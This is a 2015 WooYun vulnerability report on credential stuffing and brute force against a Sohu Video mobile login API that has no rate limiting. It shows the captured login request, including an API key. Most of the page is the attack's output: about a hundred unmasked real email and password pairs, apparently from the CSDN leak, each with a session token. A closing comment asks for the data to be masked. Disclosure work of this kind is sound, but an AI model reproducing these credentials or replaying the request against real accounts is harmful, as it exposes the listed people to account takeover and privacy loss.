当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0113460

漏洞标题：撞库之搜狐某"自由"接口缺陷(可爆破可撞库)

相关厂商：搜狐

漏洞作者： 小手冰凉

提交时间：2015-05-11 21:30

修复时间：2015-06-25 22:44

公开时间：2015-06-25 22:44

漏洞类型：网络设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-11： 细节已通知厂商并且等待厂商处理中
2015-05-11： 厂商已经确认，细节仅向厂商公开
2015-05-21： 细节向核心白帽子及相关领域专家公开
2015-05-31： 细节向普通白帽子公开
2015-06-10： 细节向实习白帽子公开
2015-06-25： 细节向公众公开

简要描述：

撞库之搜狐接口缺陷(可大量获取)

详细说明：

使用搜狐视频手机端登录并抓包，获得如下数据包

POST /v5/login.json HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: usr.mb.hd.sohu.com
Content-Length: 273
sys=android&mfov=M353&plat=6&mfo=htc&poid=1&api_key=9854b2afa779e1a6bff1962447a09dbd&pn=47&uid=c5f654e4f144cf78bd55ccf7a229b94c&sver=4.7.1&gid=02ffff10741110f04dc44d53db9af6a7471448fcfb2bef8&pwd=<md5加密密码>&sysver=4.1.1&partner=47&passport=<用户名>&


返回数据中带有token，然后后面进行操作时都会同时验证token。
使用cdsn库批量测试，没有提示错误次数多，没有接口使用次数多等任何提示.进一步测试发现这个接口也可以进行用户爆破。也是就是这是一个"自由"的接口，没有任何限制。

漏洞证明：

部分撞库结果：

hubdog@Chinaren.com:dog	token:41e11f7cfe9a4147d4e137853d0be66b
jiangtao@csdn.net:iscjt1103	token:f5cf2c6e56bf76ec9f20511d96b07910
brady007@chinaren.com:007026	token:13abd407957f4b98c3e5776aeec0bb3e
littletao@sina.com:wanderer	token:c583dffa6524bd3ca35a2af6b341c81b
huisheng@sohu.com:qiusuo	token:4ef31b8ed9b71b38c74e7376e0bfc399
childman@163.com:chudird	token:6730021babcde27448ecf6c219835d6a
peacelover@chinaren.com:74222315	token:53ab0ab8ebaf06a09dc31a8d95792bd3
wang2310@sohu.com:wang9237	token:7267a2253fc5c8c968b3be05d229f886
wshwzh@21cn.com:wsh168	token:c7b600999f95febedb9b2f7cac8d7189
lll3@sohu.com:lllllll	token:981ced79ce1069eb43cdc0828b8b1c03
lovingkane@chinaren.com:kanekane	token:ce4297f16b1ef7d69e70425eba92c940
gulizi@chinaren.com:197618	token:c9879de99fdf6cb3a6bcc5bb5d73ac0a
huoyunfei@hotmail.com:771111	token:182e3cacb43a26c88b9050b320ce0786
dxxfire@163.com:790926	token:d14bdfcafa1b3d09cb7031f8080b2a9c
ayaya2000@sina.com:ssyyww11	token:70a7670cec875d4f22037e7121ed8be2
aeolus_yao@21cn.com:yaoliwei	token:89b6f7c79a28399a743d1db77333df01
qezhu@sina.com:tan1978	token:fc9006742a2af59ccab5ab24332d41d0
pazen@chinaren.com:98103983	token:3eed53fcb12830af3cc3c963ba2be97f
nnwq@21cn.com:686640	token:7b27f7a953bb23e0aba141bbc9935b7b
lionandpuma@sohu.com:484715	token:209015a70047d6573aec7600ad9da0b4
fu_wei2000@chinaren.com:dragon2000	token:9ebeb3ce7a5ba131e86405ab9d014a56
kinghedq@163.com:mqqkctpgj	token:ad975b9d25800186ed0d5d672d125029
liujienick@chinaren.com:584131420	token:accc213f90b8f9d1d6b82f8a0173b7e5
wuzhen922@sohu.com:wz760722	token:b7bbf8d5307ebdee84e889ab06dbfe75
sy_ming@163.com:26560280	token:9ea9373d8045703065e6b513bf400366
colin517@sohu.com:woct1217	token:aaaab0cfc6fa8e2a8530e01db4b70136
meina2000@sohu.com:16596712	token:1943c8622e0b151173483eb27b642727
ariel_521@sina.com:woshitiancai	token:07c2538c81c77e67b3599487af7b9f98
enetwell@163.com:rs791004	token:1cff391ee088ebe0ec2d9a87059aa274
chenjing957@163.com:2885292	token:95319fd953a8a0fd401e982a8ad839e0
ustb-sumei@sohu.com:198111131020	token:6c76fb7a104b2affa7555f5df75dd2a1
wanglp094@sohu.com:19810511	token:4390f5f98b5bd40d13b7ea53657e0e52
ljb_9@163.com:lixiuduan	token:2e2cfefb6e63a146ddf2c9e2e0bd3d61
wengxq294@sohu.com:56509427	token:fcaf7f6c22fd161d677bca01ee286897
ynyangtao@21cn.com:12345678	token:d3eefcb010910e29199f6fdc76e0e6ae
gqfjob@gmail.com:66298713	token:4494eb9d69d33f85d2c52b915ff7426e
aiyan2001@sohu.com:19790501	token:5a7df5921f70c269610395d89ab64e6d
xy_589@126.com:x8182131y	token:f51ed6d9001d33f7252ff0b9ce9d5cd0
heyu-998@163.com:19821025hy	token:91290e559f782ac408f7790afb15e83f
simontala@163.com:19901981	token:6157e7987af85f8d72af7c412d2ccff0
940659881@qq.com:zw8112151	token:2bf36f271c53880c22c880c0a403a14b
csh2001@163.com:19840807	token:757b6814ef7f584d471c2e103835cd59
taofada11@sohu.com:74185288	token:0d77c67f87f78a38395f84e3eb4cb256
353822834@qq.com:136772060	token:ad711db9389e7dbae1634e9b41803ff2
zile@sohu.com:1218121878	token:8996046d295eb38a870b68498b7745ac
huajunun@163.com:19890807	token:62138802bf70f4a592788636cf8852a2
shuijingqiu_lyg@163.com:szdxdzxxxy27	token:da842aba4d963f84c456b52ba382ef43
qingshuiliu722@yahoo.com.cn:yalan128	token:43c21ac23fb4a6e1f95aed6a0a642ac4
kobron17@126.com:19841722	token:3e7f4a1ce4cf908524e419ae6bcef642
ylmjiang@yahoo.com.cn:y19779528	token:486422f156fc1b488062f7ff06bb872f
guzengyang@live.cn:209823236	token:730733f64baec399fccdb7909a25a62c
lovely1995@163.com:woaini1015	token:372670c57e907e40dc8f0160129148c4
575579791@qq.com:19861202	token:7de16a11f637acc65e8ffde6c998e930
304532576@qq.com:26362511	token:542deed019a5ea759373101ece7093d9
zhangyunfeizyf@126.com:759919888abcd	token:cbf6d2d2edbdcdb509643fe16c037625
hlightd@gmail.com:houdong135245	token:e0603f7a7cacb701554727260535a53a
156390513@qq.com:383854380	token:d3b88bce5e70ce871ad1fd2507998a62
lijun2006-8@163.com:ilovelijun23	token:4cea763de7b82dc6319b3144f64fe68f
zjw5001@tom.com:a4d22a9d	token:6d88852ae27f0b0c50c850ad7ec31024
yiming8814@hotmail.com:kingoffkings	token:af9dd80e6fc9bed0663bddaf90a68333
gangge1104@163.com:19831104	token:506cb272b7193819abc3777209ce3392
767278606@qq.com:19881027	token:e2a7b65b8ba01948fe83e0d5b51019a9
33553@163.com:y90139529	token:9cf12379cd943f22c63e1ae3d18e2e0f
kiofking0311@gmail.com:zhangkua	token:c6e4783f36772172588e9140a143e6bf
baixin069715@163.com:455149200	token:f45ba49e531379c154bd0d7c7d076814
heng19861229@163.com:heng1025	token:7eac5bd3706ff2bf78b472fa7d04d372
416277460@qq.com:ccrr19880827	token:4db6310ebf70e0d4ce8128b562c00f42
xieyaming163@yahoo.cn:32900991	token:5ae718cf17db4d1ad7ca1d37d3067e22
50647489@QQ.com:13822905650	token:14b2072cadf70c10979c88bc262872a7
xc19820719@163.com:820719123	token:90b037ee6b15b0d156f0fc7b0e90bc9b
zhrui2008@sohu.com:asdfhogi	token:a10c83a9a71f2c34d962115605f0f678
xyzxyy@sohu.com:13050642130	token:8d87dfeb25f8c75f877aa9bcf21db786
wjn820919@yahoo.com.cn:weidao1010	token:613d298bd70b1fa8e82410fb1dcf0b8d
rain19890502@126.com:19890502asdfg110	token:1308120f9b5a4033a2f3574967af1093
chenshiqiang2010@126.com:19870705	token:dec55d83d0b1d809240892a6309b833b
wgejydyzpc@sohu.com:123456789	token:8084ad1b0f8fbd9a7c030159e4250484
916613618@qq.com:513148977	token:aeb588b85e2a173b3065d02d40cdb276
uyzhb@163.com:uyzhb19871023	token:038ec6b838386fb22758b3499a032636
583667064@qq.com:lhys5211	token:459fbcc01224f99151a9958ba4d78af6
wsm880506@sohu.com:13709021109	token:30ef000f30df077752c1c9b0509af3f9
chenghaiwei000@126.com:200631040080	token:03a619107f237e8ae842be32d02e977e
mxtshengjie@163.com:mxt583341	token:2e1421fdeae272765b6b7208c947cb21
fgchg-911@163.com:119vs911	token:213c1808aea3124510cabdccb836bd03
liangliang1989711@126.com:363694836	token:736862004774efc854f14a464748a4fb
363555546@qq.com:yanhan9155	token:a9284b577db8c8ed745aff1de31f6381
yhzxjb@126.com:hxm8053238	token:2c36b6ef32bc7d840a36953b44691715
yj-2004-1-17@163.com:abcd951753	token:401fb5dc4f83624d0d0048c61cb529a7
191172331@qq.com:831122qaz	token:9cb7fdcb7c9a7669a3f48215ab3c69a5
bruce0com0cn@hotmail.com:11556688	token:9156e5bdeadee6f849d741b5c6cf243c
lanhuanggui@163.com:wings112	token:1fbcda56f2e693caa1c7d6cdef67a2d6
shjy.nicholas@gmail.com:shiqin520	token:0622533895907d628d917a72eb468326
utempfwcw@126.com:utempfiwcw	token:e865d18ef84a5fecfed481c96e97ecd3
147324943@qq.com:sofa2008	token:78fc5ecf8770fd0394d016d95318efe4
liu.xingyu@163.com:198911198	token:975a7f6e07c0670054428b057b67e061
523489309@qq.com:kaaiqkwmmo	token:53470aaca7cb1847c0295e9cee4427d7
XJL13530713993@163.com:80908090	token:345abdaf78da723109353cecf81939ff
youpp@126.com:304154554	token:7679cab19c7f22bd3f42125a3c334318
always.enjoy@163.com:joy2251131	token:530884879ccefc3015d135c5c20dfa2e
jimmywells@126.com:2102135211	token:776252a24b0610bc8c5a3f9b3dc9d88d
362103921@qq.com:19880602	token:a8bbd9a869368d5644ed00db2adb1b0d
kevin_h_xu@hotmail.com:xujin1028	token:5b2a7309c9b0edf079455fdfd1cc63f5
carahua@sina.com:23758ha961	token:2c1681cca5e8b4c3772938a29f38626b
chl1041@163.com:97104104	token:365bf94a1a35e4e51653ea15f9131e54
348544218@qq.com:liuxiao1991	token:3cd72f9bfb83f327461a4b4e5019a03c
369756826@qq.com:6967446sky	token:06bd07a9eb5cb61056df9636293d2fa2
zcwkw@163.com:19851207	token:5c180bb9909717a71429225cb1f50ae4
jianzhu12345628@sohu.com:hwx123456	token:572e7e596c0248b8fdb3e52e3fcfd65e
sunowners@163.com:13137871860	token:109a3abf7de70ba45191cab05c5daf3c
hulaxm@163.com:64686305	token:386bb506ca0e65ae513831ee03aca18c
sharptogether132@sohu.com:a1s2d3f4	token:feff3d2ed4c9d82cf49abeec8f2aa7a7
794997913@qq.com:limuyang	token:0044831aeeec226948fb7520be03d7a4
pilipaca@126.com:85798579	token:ae6e7762d44cdc45b28cdfb01b832f6f

修复方案：

对接口的使用进行ip或者次数的限制

版权声明：转载请注明来源 小手冰凉@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-05-11 22:43

厂商回复：

感谢支持。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-11 22:06 | 小手冰凉 ( 普通白帽子 | Rank:174 漏洞数:18 | 幸福你我他)

    @xsser 求打下码